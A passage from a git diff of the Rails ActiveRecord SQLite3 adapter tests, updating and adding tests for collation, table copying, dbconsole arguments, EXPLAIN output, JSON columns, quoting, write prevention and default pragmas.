     end
   end
 
@@ -20,6 +26,11 @@ def teardown
     column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == "string_nocase" }
     assert_equal :string, column.type
     assert_equal "NOCASE", column.collation
+
+    # Verify collation of a column behind the decimal column as well.
+    column = @connection.columns(:collation_table_sqlite3).find { |c| c.name == "string_after_decimal_nocase" }
+    assert_equal :string, column.type
+    assert_equal "NOCASE", column.collation
   end
 
   test "text column with collation" do
@@ -47,7 +58,7 @@ def teardown
 
   test "schema dump includes collation" do
     output = dump_table_schema("collation_table_sqlite3")
-    assert_match %r{t.string\s+"string_nocase",\s+collation: "NOCASE"$}, output
-    assert_match %r{t.text\s+"text_rtrim",\s+collation: "RTRIM"$}, output
+    assert_match %r{t\.string\s+"string_nocase",\s+collation: "NOCASE"$}, output
+    assert_match %r{t\.text\s+"text_rtrim",\s+collation: "RTRIM"$}, output
   end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
index e1cfd703e86bd..c55b4d3e66e3a 100644
--- a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -1,13 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class CopyTableTest < ActiveRecord::SQLite3TestCase
   fixtures :customers
 
   def setup
-    @connection = ActiveRecord::Base.connection
-    class << @connection
-      public :copy_table, :table_structure, :indexes
-    end
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   def test_copy_table(from = "customers", to = "customers2", options = {})
@@ -23,12 +22,22 @@ def test_copy_table(from = "customers", to = "customers2", options = {})
     @connection.drop_table(to) rescue nil
   end
 
+  def test_copy_table_with_column_with_default
+    test_copy_table("comments", "comments_with_default") do
+      @connection.add_column("comments_with_default", "options", "json", default: {})
+      test_copy_table("comments_with_default", "comments_with_default2") do
+        column = @connection.columns("comments_with_default2").find { |col| col.name == "options" }
+        assert_equal "{}", column.default
+      end
+    end
+  end
+
   def test_copy_table_renaming_column
     test_copy_table("customers", "customers2",
         rename: { "name" => "person_name" }) do |from, to, options|
       expected = column_values(from, "name")
       assert_equal expected, column_values(to, "person_name")
-      assert expected.any?, "No values in table: #{expected.inspect}"
+      assert_predicate expected, :any?, "No values in table: #{expected.inspect}"
     end
   end
 
@@ -76,13 +85,27 @@ def test_copy_table_with_binary_column
     test_copy_table "binaries", "binaries2"
   end
 
+  def test_copy_table_with_virtual_column
+    @connection.create_table :virtual_columns, force: true do |t|
+      t.string  :name
+      t.virtual :upper_name, type: :string, as: "UPPER(name)", stored: true
+    end
+
+    test_copy_table("virtual_columns", "virtual_columns2") do
+      column = @connection.columns("virtual_columns2").find { |col| col.name == "upper_name" }
+      assert_predicate column, :virtual_stored?
+      assert_equal :string, column.type
+      assert_equal "UPPER(name)", column.default_function
+    end
+  end
+
 private
   def copy_table(from, to, options = {})
-    @connection.copy_table(from, to, { temporary: true }.merge(options))
+    @connection.send(:copy_table, from, to, { temporary: true }.merge(options))
   end
 
   def column_names(table)
-    @connection.table_structure(table).map { |column| column["name"] }
+    @connection.send(:table_structure, table).map { |column| column["name"] }
   end
 
   def column_values(table, column)
diff --git a/activerecord/test/cases/adapters/sqlite3/dbconsole_test.rb b/activerecord/test/cases/adapters/sqlite3/dbconsole_test.rb
new file mode 100644
index 0000000000000..f6c3fed3ad319
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/dbconsole_test.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/testing/method_call_assertions"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SQLite3DbConsoleTest < ActiveRecord::SQLite3TestCase
+      include ActiveSupport::Testing::MethodCallAssertions
+
+      def test_sqlite3
+        config = make_db_config(adapter: "sqlite3", database: "db.sqlite3")
+
+        assert_find_cmd_and_exec_called_with(["sqlite3", root.join("db.sqlite3").to_s]) do
+          SQLite3Adapter.dbconsole(config)
+        end
+      end
+
+      def test_sqlite3_mode
+        config = make_db_config(adapter: "sqlite3", database: "db.sqlite3")
+
+        assert_find_cmd_and_exec_called_with(["sqlite3", "-html", root.join("db.sqlite3").to_s]) do
+          SQLite3Adapter.dbconsole(config, mode: "html")
+        end
+      end
+
+      def test_sqlite3_header
+        config = make_db_config(adapter: "sqlite3", database: "db.sqlite3")
+
+        assert_find_cmd_and_exec_called_with(["sqlite3", "-header", root.join("db.sqlite3").to_s]) do
+          SQLite3Adapter.dbconsole(config, header: true)
+        end
+      end
+
+      def test_sqlite3_db_absolute_path
+        config = make_db_config(adapter: "sqlite3", database: "/tmp/db.sqlite3")
+
+        assert_find_cmd_and_exec_called_with(["sqlite3", "/tmp/db.sqlite3"]) do
+          SQLite3Adapter.dbconsole(config)
+        end
+      end
+
+      def test_sqlite3_db_with_defined_rails_root
+        config = make_db_config(adapter: "sqlite3", database: "config/db.sqlite3")
+
+        root = method(:root)
+        mod = Module.new { define_singleton_method(:root, &root) }
+
+        stub_const(Object, :Rails, mod, exists: defined?(Rails)) do
+          assert_find_cmd_and_exec_called_with(["sqlite3", Rails.root.join("config/db.sqlite3").to_s]) do
+            SQLite3Adapter.dbconsole(config)
+          end
+        end
+      end
+
+      def test_sqlite3_can_use_alternative_cli
+        ActiveRecord.database_cli[:sqlite] = "sqlitecli"
+        config = make_db_config(adapter: "sqlite3", database: "config/db.sqlite3", database_cli: "sqlitecli")
+
+        assert_find_cmd_and_exec_called_with(["sqlitecli", root.join("config/db.sqlite3").to_s]) do
+          SQLite3Adapter.dbconsole(config)
+        end
+      ensure
+        ActiveRecord.database_cli[:sqlite] = "sqlite3"
+      end
+
+      private
+        def root
+          Pathname(__dir__).join("../../../..")
+        end
+
+        def make_db_config(config)
+          ActiveRecord::DatabaseConfigurations::HashConfig.new("test", "primary", config)
+        end
+
+        def assert_find_cmd_and_exec_called_with(args, &block)
+          assert_called_with(SQLite3Adapter, :find_cmd_and_exec, args, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
index 128acb79cf5bb..fde07ccb6b724 100644
--- a/activerecord/test/cases/adapters/sqlite3/explain_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -1,21 +1,23 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "models/developer"
-require "models/computer"
+require "models/author"
+require "models/post"
 
 class SQLite3ExplainTest < ActiveRecord::SQLite3TestCase
-  fixtures :developers
+  fixtures :authors, :author_addresses
 
   def test_explain_for_one_query
-    explain = Developer.where(id: 1).explain
-    assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = (?:\? \[\["id", 1\]\]|1)), explain
-    assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+    explain = Author.where(id: 1).explain.inspect
+    assert_match %r(EXPLAIN for: SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\? \[\["id", 1\]\]|1)), explain
+    assert_match(/(SEARCH )?(TABLE )?authors USING (INTEGER )?PRIMARY KEY/, explain)
   end
 
   def test_explain_with_eager_loading
-    explain = Developer.where(id: 1).includes(:audit_logs).explain
-    assert_match %r(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = (?:\? \[\["id", 1\]\]|1)), explain
-    assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
-    assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" = 1), explain
-    assert_match(/(SCAN )?TABLE audit_logs/, explain)
+    explain = Author.where(id: 1).includes(:posts).explain.inspect
+    assert_match %r(EXPLAIN for: SELECT "authors"\.\* FROM "authors" WHERE "authors"\."id" = (?:\? \[\["id", 1\]\]|1)), explain
+    assert_match(/(SEARCH )?(TABLE )?authors USING (INTEGER )?PRIMARY KEY/, explain)
+    assert_match %r(EXPLAIN for: SELECT "posts"\.\* FROM "posts" WHERE "posts"\."author_id" = (?:\? \[\["author_id", 1\]\]|1)), explain
+    assert_match(/(SEARCH |(SCAN )?(TABLE ))posts/, explain)
   end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/json_test.rb b/activerecord/test/cases/adapters/sqlite3/json_test.rb
new file mode 100644
index 0000000000000..7aaa3f4b96af7
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/json_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/json_shared_test_cases"
+
+class SQLite3JSONTest < ActiveRecord::SQLite3TestCase
+  include JSONSharedTestCases
+
+  def setup
+    super
+    @connection.create_table("json_data_type") do |t|
+      t.json "payload", default: {}
+      t.json "with_defaults", default: { list: [] }
+      t.json "settings"
+    end
+  end
+
+  def test_default
+    @connection.add_column "json_data_type", "permissions", column_type, default: { "users": "read", "posts": ["read", "write"] }
+    klass.reset_column_information
+
+    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, klass.column_defaults["permissions"])
+    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, klass.new.permissions)
+  end
+
+  def test_default_before_type_cast
+    assert_equal '{"list":[]}', klass.new.with_defaults_before_type_cast
+  end
+
+  def test_invalid_json_can_be_updated
+    model = klass.create!
+    @connection.execute("UPDATE #{klass.table_name} SET payload = '---'")
+
+    model.reload
+    assert_equal "---", model.payload_before_type_cast
+    assert_error_reported(JSON::ParserError) do
+      assert_nil model.payload
+    end
+
+    model.update(payload: "no longer invalid")
+    assert_equal("no longer invalid", model.payload)
+  end
+
+  private
+    def column_type
+      :json
+    end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index 9750840051809..12dc8772a1ec1 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -1,11 +1,32 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "bigdecimal"
-require "yaml"
 require "securerandom"
 
 class SQLite3QuotingTest < ActiveRecord::SQLite3TestCase
   def setup
-    @conn = ActiveRecord::Base.connection
+    super
+    @conn = ActiveRecord::Base.lease_connection
+  end
+
+  def test_quote_string
+    assert_equal "''", @conn.quote_string("'")
+  end
+
+  def test_quote_column_name
+    [@conn, @conn.class].each do |adapter|
+      assert_equal '"foo"', adapter.quote_column_name("foo")
+      assert_equal '"hel""lo"', adapter.quote_column_name(%{hel"lo})
+    end
+  end
+
+  def test_quote_table_name
+    [@conn, @conn.class].each do |adapter|
+      assert_equal '"foo"', adapter.quote_table_name("foo")
+      assert_equal '"foo"."bar"', adapter.quote_table_name("foo.bar")
+      assert_equal '"hel""lo.wol\\d"', adapter.quote_column_name('hel"lo.wol\\d')
+    end
   end
 
   def test_type_cast_binary_encoding_without_logger
@@ -15,80 +36,75 @@ def test_type_cast_binary_encoding_without_logger
     assert_equal expected, @conn.type_cast(binary)
   end
 
-  def test_type_cast_symbol
-    assert_equal "foo", @conn.type_cast(:foo)
+  def test_type_cast_true
+    assert_equal 1, @conn.type_cast(true)
   end
 
-  def test_type_cast_date
-    date = Date.today
-    expected = @conn.quoted_date(date)
-    assert_equal expected, @conn.type_cast(date)
+  def test_type_cast_false
+    assert_equal 0, @conn.type_cast(false)
   end
 
-  def test_type_cast_time
-    time = Time.now
-    expected = @conn.quoted_date(time)
-    assert_equal expected, @conn.type_cast(time)
+  def test_type_cast_bigdecimal
+    bd = BigDecimal "10.0"
+    assert_equal bd.to_f, @conn.type_cast(bd)
   end
 
-  def test_type_cast_numeric
-    assert_equal 10, @conn.type_cast(10)
-    assert_equal 2.2, @conn.type_cast(2.2)
-  end
+  def test_quoting_binary_strings
+    value = "hello".encode("ascii-8bit")
+    type = ActiveRecord::Type::String.new
 
-  def test_type_cast_nil
-    assert_nil @conn.type_cast(nil)
+    assert_equal "'hello'", @conn.quote(type.serialize(value))
   end
 
-  def test_type_cast_true
-    assert_equal "t", @conn.type_cast(true)
-  end
+  def test_quoted_time_returns_date_qualified_time
+    value = ::Time.utc(2000, 1, 1, 12, 30, 0, 999999)
+    type = ActiveRecord::Type::Time.new
 
-  def test_type_cast_false
-    assert_equal "f", @conn.type_cast(false)
+    assert_equal "'2000-01-01 12:30:00.999999'", @conn.quote(type.serialize(value))
   end
 
-  def test_type_cast_bigdecimal
-    bd = BigDecimal.new "10.0"
-    assert_equal bd.to_f, @conn.type_cast(bd)
-  end
+  def test_quoted_time_normalizes_date_qualified_time
+    value = ::Time.utc(2018, 3, 11, 12, 30, 0, 999999)
+    type = ActiveRecord::Type::Time.new
 
-  def test_type_cast_unknown_should_raise_error
-    obj = Class.new.new
-    assert_raise(TypeError) { @conn.type_cast(obj) }
+    assert_equal "'2000-01-01 12:30:00.999999'", @conn.quote(type.serialize(value))
   end
 
-  def test_type_cast_object_which_responds_to_quoted_id
-    quoted_id_obj = Class.new {
-      def quoted_id
-        "'zomg'"
-      end
+  def test_quoted_time_dst_utc
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :utc do
+        t = Time.new(2000, 7, 1, 0, 0, 0, "+04:30")
 
-      def id
-        10
-      end
-    }.new
-    assert_equal 10, @conn.type_cast(quoted_id_obj)
+        expected = t.change(year: 2000, month: 1, day: 1)
+        expected = expected.getutc.to_fs(:db).sub(/\A\d\d\d\d-\d\d-\d\d /, "2000-01-01 ")
 
-    quoted_id_obj = Class.new {
-      def quoted_id
-        "'zomg'"
+        assert_equal expected, @conn.quoted_time(t)
       end
-    }.new
-    assert_raise(TypeError) { @conn.type_cast(quoted_id_obj) }
+    end
   end
 
-  def test_quoting_binary_strings
-    value = "hello".encode("ascii-8bit")
-    type = ActiveRecord::Type::String.new
+  def test_quoted_time_dst_local
+    with_env_tz "America/New_York" do
+      with_timezone_config default: :local do
+        t = Time.new(2000, 7, 1, 0, 0, 0, "+04:30")
 
-    assert_equal "'hello'", @conn.quote(type.serialize(value))
+        expected = t.change(year: 2000, month: 1, day: 1)
+        expected = expected.getlocal.to_fs(:db).sub(/\A\d\d\d\d-\d\d-\d\d /, "2000-01-01 ")
+
+        assert_equal expected, @conn.quoted_time(t)
+      end
+    end
   end
 
-  def test_quoted_time_returns_date_qualified_time
-    value = ::Time.utc(2000, 1, 1, 12, 30, 0, 999999)
-    type = ActiveRecord::Type::Time.new
+  def test_quote_numeric_infinity
+    assert_equal "'Infinity'", @conn.quote(Float::INFINITY)
+    assert_equal "'-Infinity'", @conn.quote(-Float::INFINITY)
+    assert_equal "'Infinity'", @conn.quote(BigDecimal(Float::INFINITY))
+    assert_equal "'-Infinity'", @conn.quote(BigDecimal(-Float::INFINITY))
+  end
 
-    assert_equal "'2000-01-01 12:30:00.999999'", @conn.quote(type.serialize(value))
+  def test_quote_float_nan
+    assert_equal "'NaN'", @conn.quote(Float::NAN)
+    assert_equal "'NaN'", @conn.quote(BigDecimal(Float::NAN))
   end
 end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_prevent_writes_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_prevent_writes_test.rb
new file mode 100644
index 0000000000000..31f307dd1c2d7
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_prevent_writes_test.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SQLite3AdapterPreventWritesTest < ActiveRecord::SQLite3TestCase
+      include DdlHelper
+
+      self.use_transactional_tests = false
+
+      def setup
+        @conn = ActiveRecord::Base.lease_connection
+      end
+
+      def test_errors_when_an_insert_query_is_called_while_preventing_writes
+        with_example_table "id int, data string" do
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @conn.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+            end
+          end
+        end
+      end
+
+      def test_errors_when_an_update_query_is_called_while_preventing_writes
+        with_example_table "id int, data string" do
+          @conn.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @conn.execute("UPDATE ex SET data = '9989' WHERE data = '138853948594'")
+            end
+          end
+        end
+      end
+
+      def test_errors_when_a_delete_query_is_called_while_preventing_writes
+        with_example_table "id int, data string" do
+          @conn.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @conn.execute("DELETE FROM ex where data = '138853948594'")
+            end
+          end
+        end
+      end
+
+      def test_errors_when_a_replace_query_is_called_while_preventing_writes
+        with_example_table "id int, data string" do
+          @conn.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @conn.execute("REPLACE INTO ex (data) VALUES ('249823948')")
+            end
+          end
+        end
+      end
+
+      def test_doesnt_error_when_a_select_query_is_called_while_preventing_writes
+        with_example_table "id int, data string" do
+          @conn.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_equal 1, @conn.execute("SELECT data from ex WHERE data = '138853948594'").count
+          end
+        end
+      end
+
+      def test_doesnt_error_when_a_read_query_with_leading_chars_is_called_while_preventing_writes
+        with_example_table "id int, data string" do
+          @conn.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_equal 1, @conn.execute("/*action:index*/  SELECT data from ex WHERE data = '138853948594'").count
+          end
+        end
+      end
+
+      private
+        def with_example_table(definition = nil, table_name = "ex", &block)
+          definition ||= <<~SQL
+            id integer PRIMARY KEY AUTOINCREMENT,
+            number integer
+          SQL
+          super(@conn, table_name, definition, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index a6afb7816bd4e..5098cfa0b8926 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/owner"
 require "tempfile"
@@ -13,17 +15,39 @@ class SQLite3AdapterTest < ActiveRecord::SQLite3TestCase
       class DualEncoding < ActiveRecord::Base
       end
 
+      class SQLiteExtensionSpec
+        def self.to_path
+          "/path/to/sqlite3_extension"
+        end
+      end
+
       def setup
-        @conn = Base.sqlite3_connection database: ":memory:",
-                                        adapter: "sqlite3",
-                                        timeout: 100
+        @conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          timeout: 100,
+        )
       end
 
-      def test_bad_connection
-        assert_raise ActiveRecord::NoDatabaseError do
-          connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+      def test_database_should_get_created_when_missing_parent_directories_for_database_path
+        dir = Dir.mktmpdir
+        db_path = File.join(dir, "_not_exist/-cinco-dog.sqlite3")
+        assert_nothing_raised do
+          connection = SQLite3Adapter.new(adapter: "sqlite3", database: db_path)
           connection.drop_table "ex", if_exists: true
         end
+        assert SQLite3Adapter.database_exists?(adapter: "sqlite3", database: db_path)
+      end
+
+      def test_database_exists_returns_false_when_the_database_does_not_exist
+        assert_not SQLite3Adapter.database_exists?(adapter: "sqlite3", database: "non_extant_db"),
+          "expected non_extant_db to not exist"
+      end
+
+      def test_database_exists_returns_true_when_database_exists
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        assert SQLite3Adapter.database_exists?(db_config.configuration_hash),
+          "expected #{db_config.database} to exist"
       end
 
       unless in_memory_db?
@@ -32,7 +56,7 @@ def test_connect_with_url
           tf = Tempfile.open "whatever"
           url = "sqlite3:#{tf.path}"
           ActiveRecord::Base.establish_connection(url)
-          assert ActiveRecord::Base.connection
+          assert ActiveRecord::Base.lease_connection
         ensure
           tf.close
           tf.unlink
@@ -43,39 +67,28 @@ def test_connect_memory_with_url
           original_connection = ActiveRecord::Base.remove_connection
           url = "sqlite3::memory:"
           ActiveRecord::Base.establish_connection(url)
-          assert ActiveRecord::Base.connection
+          assert ActiveRecord::Base.lease_connection
         ensure
           ActiveRecord::Base.establish_connection(original_connection)
         end
       end
 
-      def test_valid_column
-        with_example_table do
-          column = @conn.columns("ex").find { |col| col.name == "id" }
-          assert @conn.valid_type?(column.type)
-        end
-      end
-
-      # sqlite3 databases should be able to support any type and not just the
-      # ones mentioned in the native_database_types.
-      #
-      # Therefore test_invalid column should always return true even if the
-      # type is not valid.
-      def test_invalid_column
-        assert @conn.valid_type?(:foobar)
+      def test_database_exists_returns_true_for_an_in_memory_db
+        assert SQLite3Adapter.database_exists?(database: ":memory:"),
+          "Expected in memory database to exist"
       end
 
       def test_column_types
         owner = Owner.create!(name: "hello".encode("ascii-8bit"))
         owner.reload
         select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ", "
-        result = Owner.connection.exec_query <<-esql
+        result = Owner.lease_connection.exec_query <<~SQL
           SELECT #{select}
           FROM   #{Owner.table_name}
           WHERE  #{Owner.primary_key} = #{owner.id}
-        esql
+        SQL
 
-        assert(!result.rows.first.include?("blob"), "should not store blobs")
+        assert_not(result.rows.first.include?("blob"), "should not store blobs")
       ensure
         owner.delete
       end
@@ -83,7 +96,9 @@ def test_column_types
       def test_exec_insert
         with_example_table do
           vals = [Relation::QueryAttribute.new("number", 10, Type::Value.new)]
-          @conn.exec_insert("insert into ex (number) VALUES (?)", "SQL", vals)
+          assert_deprecated(ActiveRecord.deprecator) do
+            @conn.exec_insert("insert into ex (number) VALUES (?)", "SQL", vals)
+          end
 
           result = @conn.exec_query(
             "select number from ex where number = ?", "SQL", vals)
@@ -93,6 +108,21 @@ def test_exec_insert
         end
       end
 
+      def test_exec_insert_with_quote
+        with_example_table do
+          vals = [Relation::QueryAttribute.new("number", 10, Type::Value.new)]
+          assert_deprecated(ActiveRecord.deprecator) do
+            @conn.exec_insert("insert into \"ex\" (number) VALUES (?)", "SQL", vals)
+          end
+
+          result = @conn.exec_query(
+            "select number from \"ex\" where number = ?", "SQL", vals)
+
+          assert_equal 1, result.rows.length
+          assert_equal 10, result.rows.first.first
+        end
+      end
+
       def test_primary_key_returns_nil_for_no_pk
         with_example_table "id int, data string" do
           assert_nil @conn.primary_key("ex")
@@ -101,23 +131,30 @@ def test_primary_key_returns_nil_for_no_pk
 
       def test_connection_no_db
         assert_raises(ArgumentError) do
-          Base.sqlite3_connection {}
+          SQLite3Adapter.new({})
         end
       end
 
       def test_bad_timeout
-        assert_raises(TypeError) do
-          Base.sqlite3_connection database: ":memory:",
-                                  adapter: "sqlite3",
-                                  timeout: "usa"
+        exception = assert_raises(ActiveRecord::StatementInvalid) do
+          SQLite3Adapter.new(
+            database: ":memory:",
+            adapter: "sqlite3",
+            timeout: "usa",
+          ).connect!
         end
+        assert_match("TypeError", exception.message)
+        assert_kind_of ActiveRecord::ConnectionAdapters::NullPool, exception.connection_pool
       end
 
       # connection is OK with a nil timeout
       def test_nil_timeout
-        conn = Base.sqlite3_connection database: ":memory:",
-                                       adapter: "sqlite3",
-                                       timeout: nil
+        conn = SQLite3Adapter.new(
+          database: ":memory:",
+          adapter: "sqlite3",
+          timeout: nil,
+        )
+        conn.connect!
         assert conn, "made a connection"
       end
 
@@ -130,6 +167,269 @@ def test_encoding
         assert_equal "UTF-8", @conn.encoding
       end
 
+      def test_default_pragmas
+        if in_memory_db?
+          assert_equal [{ "foreign_keys" => 1 }], @conn.execute("PRAGMA foreign_keys")
+          assert_equal [{ "journal_mode" => "memory" }], @conn.execute("PRAGMA journal_mode")
+          assert_equal [{ "synchronous" => 1 }], @conn.execute("PRAGMA synchronous")
+          assert_equal [{ "journal_size_limit" => 67108864 }], @conn.execute("PRAGMA journal_size_limit")
+          assert_equal [], @conn.execute("PRAGMA mmap_size")
+          assert_equal [{ "cache_size" => 2000 }], @conn.execute("PRAGMA cache_size")
+        else
+          with_file_connection do |conn|
+            assert_equal [{ "foreign_keys" => 1 }], conn.execute("PRAGMA foreign_keys")
+            assert_equal [{ "journal_mode" => "wal" }], conn.execute("PRAGMA journal_mode")
+            assert_equal [{ "synchronous" => 1 }], conn.execute("PRAGMA synchronous")
+            assert_equal [{ "journal_size_limit" => 67108864 }], conn.execute("PRAGMA journal_size_limit")
+            assert_equal [{ "mmap_size" => 134217728 }], conn.execute("PRAGMA mmap_size")
+            assert_equal [{ "cache_size" => 2000 }], conn.execute("PRAGMA cache_size")
+          end
+        end
+      end
+
+      def test_overriding_default_foreign_keys_pragma
+        method_name = in_memory_db? ? :with_memory_connection : :with_file_connection
+
+        send(method_name, pragmas: { foreign_keys: false }) do |conn|
+          assert_equal [{ "foreign_keys" => 0 }], conn.execute("PRAGMA foreign_keys")
+        end
+
+        send(method_name, pragmas: { foreign_keys: 0 }) do |conn|
+          assert_equal [{ "foreign_keys" => 0 }], conn.execute("PRAGMA foreign_keys")
+        end
+
+        send(method_name, pragmas: { foreign_keys: "false" }) do |conn|
+          assert_equal [{ "foreign_keys" => 0 }], conn.execute("PRAGMA foreign_keys")
+        end
+
+        error = assert_raises(ActiveRecord::StatementInvalid) do
+          send(method_name, pragmas: { foreign_keys: :false }) do |conn|
+            conn.execute("PRAGMA foreign_keys")
+          end
+        end
+        assert_match(/unrecognized pragma parameter :false/, error.message)
+      end
+
+      def test_overriding_default_journal_mode_pragma
+        # in-memory databases are always only ever in `memory` journal_mode
+        if in_memory_db?
+          with_memory_connection(pragmas: { "journal_mode" => "delete" }) do |conn|
+            assert_equal [{ "journal_mode" => "memory" }], conn.execute("PRAGMA journal_mode")
+          end
+
+          with_memory_connection(pragmas: { "journal_mode" => :delete }) do |conn|
+            assert_equal [{ "journal_mode" => "memory" }], conn.execute("PRAGMA journal_mode")
+          end
+
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            with_memory_connection(pragmas: { "journal_mode" => 0 }) do |conn|
+              conn.execute("PRAGMA journal_mode")
+            end
+          end
+          assert_match(/nrecognized journal_mode 0/, error.message)
+
+          error = assert_raises(ActiveRecord::StatementInvalid) do
+            with_memory_connection(pragmas: { "journal_mode" => false }) do |conn|
+              conn.execute("PRAGMA journal_mode")
+            end
+          end
+          assert_match(/nrecognized journal_mode false/, error.message)
+        else
+          # must use a new, separate database file that hasn't been opened in WAL mode before
+          Dir.mktmpdir do |tmpdir|
+            database_file = File.join(tmpdir, "journal_mode_test.sqlite3")
+
+            with_file_connection(database: database_file, pragmas: { "journal_mode" => "delete" }) do |conn|
+              assert_equal [{ "journal_mode" => "delete" }], conn.execute("PRAGMA journal_mode")
+            end
+
+            with_file_connection(database: database_file, pragmas: { "journal_mode" => :delete }) do |conn|
+              assert_equal [{ "journal_mode" => "delete" }], conn.execute("PRAGMA journal_mode")
+            end
+
+            error = assert_raises(ActiveRecord::StatementInvalid) do
+              with_file_connection(database: database_file, pragmas: { "journal_mode" => 0 }) do |conn|
+                conn.execute("PRAGMA journal_mode")
+              end
+            end
+            assert_match(/unrecognized journal_mode 0/, error.message)
+
+            error = assert_raises(ActiveRecord::StatementInvalid) do
+              with_file_connection(database: database_file, pragmas: { "journal_mode" => false }) do |conn|
+                conn.execute("PRAGMA journal_mode")
+              end
+            end
+            assert_match(/unrecognized journal_mode false/, error.message)
+          end
+        end
+      end
+
+      def test_overriding_default_synchronous_pragma
+        method_name = in_memory_db? ? :with_memory_connection : :with_file_connection
+
+        send(method_name, pragmas: { synchronous: :full }) do |conn|
+          assert_equal [{ "synchronous" => 2 }], conn.execute("PRAGMA synchronous")
+        end
+
+        send(method_name, pragmas: { synchronous: 2 }) do |conn|
+          assert_equal [{ "synchronous" => 2 }], conn.execute("PRAGMA synchronous")
+        end
+
+        send(method_name, pragmas: { synchronous: "full" }) do |conn|
+          assert_equal [{ "synchronous" => 2 }], conn.execute("PRAGMA synchronous")
+        end
+
+        error = assert_raises(ActiveRecord::StatementInvalid) do
+          send(method_name, pragmas: { synchronous: false }) do |conn|
+            conn.execute("PRAGMA synchronous")
+          end
+        end
+        assert_match(/unrecognized synchronous false/, error.message)
+      end
+
+      def test_overriding_default_journal_size_limit_pragma
+        method_name = in_memory_db? ? :with_memory_connection : :with_file_connection
+
+        send(method_name, pragmas: { journal_size_limit: 100 }) do |conn|
+          assert_equal [{ "journal_size_limit" => 100 }], conn.execute("PRAGMA journal_size_limit")
+        end
+
+        send(method_name, pragmas: { journal_size_limit: "200" }) do |conn|
+          assert_equal [{ "journal_size_limit" => 200 }], conn.execute("PRAGMA journal_size_limit")
+        end
+
+        error = assert_raises(ActiveRecord::StatementInvalid) do
+          send(method_name, pragmas: { journal_size_limit: false }) do |conn|
+            conn.execute("PRAGMA journal_size_limit")
+          end
+        end
+        assert_match(/undefined method [`']to_i'/, error.message)
+
+        error = assert_raises(ActiveRecord::StatementInvalid) do
+          send(method_name, pragmas: { journal_size_limit: :false }) do |conn|
+            conn.execute("PRAGMA journal_size_limit")
+          end
+        end
+        assert_match(/undefined method [`']to_i'/, error.message)
+      end
+
+      def test_overriding_default_mmap_size_pragma
+        # in-memory databases never have an mmap_size
+        if in_memory_db?
+          with_memory_connection(pragmas: { mmap_size: 100 }) do |conn|
+            assert_equal [], conn.execute("PRAGMA mmap_size")
+          end
+
